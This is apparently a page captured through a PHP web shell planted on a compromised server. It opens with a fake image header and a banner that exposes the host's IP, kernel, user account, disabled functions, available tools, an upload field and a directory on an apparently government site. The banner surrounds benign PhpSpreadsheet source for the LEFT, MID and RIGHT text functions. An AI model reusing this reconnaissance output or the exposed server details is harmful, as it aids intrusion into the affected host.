ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.205.133 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/TextData/ |
Upload File : |
<?php namespace PhpOffice\PhpSpreadsheet\Calculation\TextData; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class Extract { /** * LEFT. * * @param mixed $value String value from which to extract characters * @param mixed $chars The number of characters to extract (as an integer) */ public static function left($value = '', $chars = 1): string { $value = Functions::flattenSingleValue($value); $chars = Functions::flattenSingleValue($chars); if (!is_numeric($chars) || $chars < 0) { return Functions::VALUE(); } if (is_bool($value)) { $value = ($value) ? Calculation::getTRUE() : Calculation::getFALSE(); } return mb_substr($value, 0, $chars, 'UTF-8'); } /** * MID. * * @param mixed $value String value from which to extract characters * @param mixed $start Integer offset of the first character that we want to extract * @param mixed $chars The number of characters to extract (as an integer) */ public static function mid($value = '', $start = 1, $chars = null): string { $value = Functions::flattenSingleValue($value); $start = Functions::flattenSingleValue($start); $chars = Functions::flattenSingleValue($chars); if (!is_numeric($start) || $start < 1 || !is_numeric($chars) || $chars < 0) { return Functions::VALUE(); } if (is_bool($value)) { $value = ($value) ? Calculation::getTRUE() : Calculation::getFALSE(); } return mb_substr($value, --$start, $chars, 'UTF-8'); } /** * RIGHT. * * @param mixed $value String value from which to extract characters * @param mixed $chars The number of characters to extract (as an integer) */ public static function right($value = '', $chars = 1): string { $value = Functions::flattenSingleValue($value); $chars = Functions::flattenSingleValue($chars); if (!is_numeric($chars) || $chars < 0) { return Functions::VALUE(); } if (is_bool($value)) { $value = ($value) ? Calculation::getTRUE() : Calculation::getFALSE(); } return mb_substr($value, mb_strlen($value, 'UTF-8') - $chars, $chars, 'UTF-8'); } }